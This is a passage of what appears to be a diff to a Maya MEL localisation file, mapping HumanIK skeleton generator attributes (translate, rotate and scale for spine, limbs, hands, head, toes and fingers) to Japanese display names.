"HIKSkeletonGeneratorNode", "RightLegT", "右脚 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegTx", "右脚 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegTy", "右脚 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegTz", "右脚 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegR", "右脚 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRx", "右脚 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRy", "右脚 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRz", "右脚 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegS", "右脚 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegSx", "右脚 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegSy", "右脚 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegSz", "右脚 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootT", "右足 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootTx", "右足 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootTy", "右足 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootTz", "右足 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootR", "右足 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRx", "右足 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRy", "右足 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRz", "右足 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootS", "右足 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootSx", "右足 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootSy", "右足 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootSz", "右足 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineT", "脊椎 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineTx", "脊椎 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineTy", "脊椎 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineTz", "脊椎 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineR", "脊椎 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineRx", "脊椎 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineRy", "脊椎 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineRz", "脊椎 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineS", "脊椎 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineSx", "脊椎 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineSy", "脊椎 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineSz", "脊椎 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmT", "左腕 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmTx", "左腕 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmTy", "左腕 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmTz", "左腕 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmR", "左腕 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRx", "左腕 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRy", "左腕 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRz", "左腕 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmS", "左腕 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmSx", "左腕 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmSy", "左腕 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmSz", "左腕 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmT", "左前腕 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmTx", "左前腕 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmTy", "左前腕 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmTz", "左前腕 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmR", "左前腕 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRx", "左前腕 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRy", "左前腕 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRz", "左前腕 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmS", "左前腕 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmSx", "左前腕 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmSy", "左前腕 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmSz", "左前腕 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandT", "左手 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandTx", "左手 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandTy", "左手 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandTz", "左手 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandR", "左手 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRx", "左手 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRy", "左手 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRz", "左手 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandS", "左手 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandSx", "左手 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandSy", "左手 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandSz", "左手 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmT", "右腕 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmTx", "右腕 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmTy", "右腕 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmTz", "右腕 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmR", "右腕 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRx", "右腕 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRy", "右腕 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRz", "右腕 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmS", "右腕 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmSx", "右腕 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmSy", "右腕 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmSz", "右腕 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmT", "右前腕 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmTx", "右前腕 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmTy", "右前腕 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmTz", "右前腕 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmR", "右前腕 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRx", "右前腕 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRy", "右前腕 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRz", "右前腕 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmS", "右前腕 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmSx", "右前腕 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmSy", "右前腕 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmSz", "右前腕 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandT", "右手 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandTx", "右手 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandTy", "右手 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandTz", "右手 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandR", "右手 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRx", "右手 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRy", "右手 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRz", "右手 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandS", "右手 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandSx", "右手 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandSy", "右手 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandSz", "右手 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadT", "頭部 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadTx", "頭部 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadTy", "頭部 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadTz", "頭部 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadR", "頭部 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadRx", "頭部 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadRy", "頭部 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadRz", "頭部 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadS", "頭部 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadSx", "頭部 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadSy", "頭部 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HeadSz", "頭部 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseT", "左足指のベース T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseTx", "左足指のベース Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseTy", "左足指のベース Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseTz", "左足指のベース Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseR", "左足指のベース R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseRx", "左足指のベース Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseRy", "左足指のベース Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseRz", "左足指のベース Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseS", "左足指のベース S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseSx", "左足指のベース Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseSy", "左足指のベース Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftToeBaseSz", "左足指のベース Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseT", "右足指のベース T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseTx", "右足指のベース Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseTy", "右足指のベース Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseTz", "右足指のベース Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseR", "右足指のベース R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseRx", "右足指のベース Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseRy", "右足指のベース Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseRz", "右足指のベース Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseS", "右足指のベース S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseSx", "右足指のベース Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseSy", "右足指のベース Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightToeBaseSz", "右足指のベース Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderT", "左肩 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderTx", "左肩 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderTy", "左肩 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderTz", "左肩 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderR", "左肩 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderRx", "左肩 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderRy", "左肩 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderRz", "左肩 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderS", "左肩 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderSx", "左肩 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderSy", "左肩 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderSz", "左肩 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderT", "右肩 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderTx", "右肩 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderTy", "右肩 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderTz", "右肩 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderR", "右肩 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderRx", "右肩 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderRy", "右肩 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderRz", "右肩 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderS", "右肩 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderSx", "右肩 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderSy", "右肩 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderSz", "右肩 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckT", "首 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckTx", "首 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckTy", "首 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckTz", "首 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckR", "首 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckRx", "首 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckRy", "首 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckRz", "首 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckS", "首 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckSx", "首 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckSy", "首 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckSz", "首 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseT", "左指のベース T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseTx", "左指のベース Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseTy", "左指のベース Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseTz", "左指のベース Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseR", "左指のベース R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseRx", "左指のベース Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseRy", "左指のベース Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseRz", "左指のベース Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseS", "左指のベース S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseSx", "左指のベース Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseSy", "左指のベース Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFingerBaseSz", "左指のベース Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseT", "右指のベース T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseTx", "右指のベース Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseTy", "右指のベース Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseTz", "右指のベース Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseR", "右指のベース R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseRx", "右指のベース Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseRy", "右指のベース Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseRz", "右指のベース Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseS", "右指のベース S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseSx", "右指のベース Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseSy", "右指のベース Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFingerBaseSz", "右指のベース Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1T", "脊椎 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Tx", "脊椎 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Ty", "脊椎 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Tz", "脊椎 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1R", "脊椎 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Rx", "脊椎 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Ry", "脊椎 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Rz", "脊椎 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1S", "脊椎 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Sx", "脊椎 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Sy", "脊椎 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine1Sz", "脊椎 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2T", "脊椎 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Tx", "脊椎 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Ty", "脊椎 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Tz", "脊椎 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2R", "脊椎 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Rx", "脊椎 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Ry", "脊椎 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Rz", "脊椎 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2S", "脊椎 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Sx", "脊椎 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Sy", "脊椎 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine2Sz", "脊椎 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3T", "脊椎 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Tx", "脊椎 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Ty", "脊椎 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Tz", "脊椎 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3R", "脊椎 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Rx", "脊椎 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Ry", "脊椎 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Rz", "脊椎 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3S", "脊椎 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Sx", "脊椎 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Sy", "脊椎 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine3Sz", "脊椎 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4T", "脊椎 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Tx", "脊椎 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Ty", "脊椎 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Tz", "脊椎 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4R", "脊椎 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Rx", "脊椎 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Ry", "脊椎 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Rz", "脊椎 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4S", "脊椎 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Sx", "脊椎 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Sy", "脊椎 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine4Sz", "脊椎 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5T", "脊椎 5 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Tx", "脊椎 5 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Ty", "脊椎 5 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Tz", "脊椎 5 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5R", "脊椎 5 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Rx", "脊椎 5 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Ry", "脊椎 5 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Rz", "脊椎 5 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5S", "脊椎 5 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Sx", "脊椎 5 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Sy", "脊椎 5 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Sz", "脊椎 5 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6T", "脊椎 6 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Tx", "脊椎 6 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Ty", "脊椎 6 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Tz", "脊椎 6 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6R", "脊椎 6 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Rx", "脊椎 6 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Ry", "脊椎 6 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Rz", "脊椎 6 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6S", "脊椎 6 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Sx", "脊椎 6 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Sy", "脊椎 6 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Sz", "脊椎 6 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7T", "脊椎 7 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Tx", "脊椎 7 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Ty", "脊椎 7 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Tz", "脊椎 7 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7R", "脊椎 7 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Rx", "脊椎 7 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Ry", "脊椎 7 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Rz", "脊椎 7 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7S", "脊椎 7 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Sx", "脊椎 7 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Sy", "脊椎 7 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Sz", "脊椎 7 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8T", "脊椎 8 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Tx", "脊椎 8 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Ty", "脊椎 8 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Tz", "脊椎 8 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8R", "脊椎 8 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Rx", "脊椎 8 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Ry", "脊椎 8 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Rz", "脊椎 8 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8S", 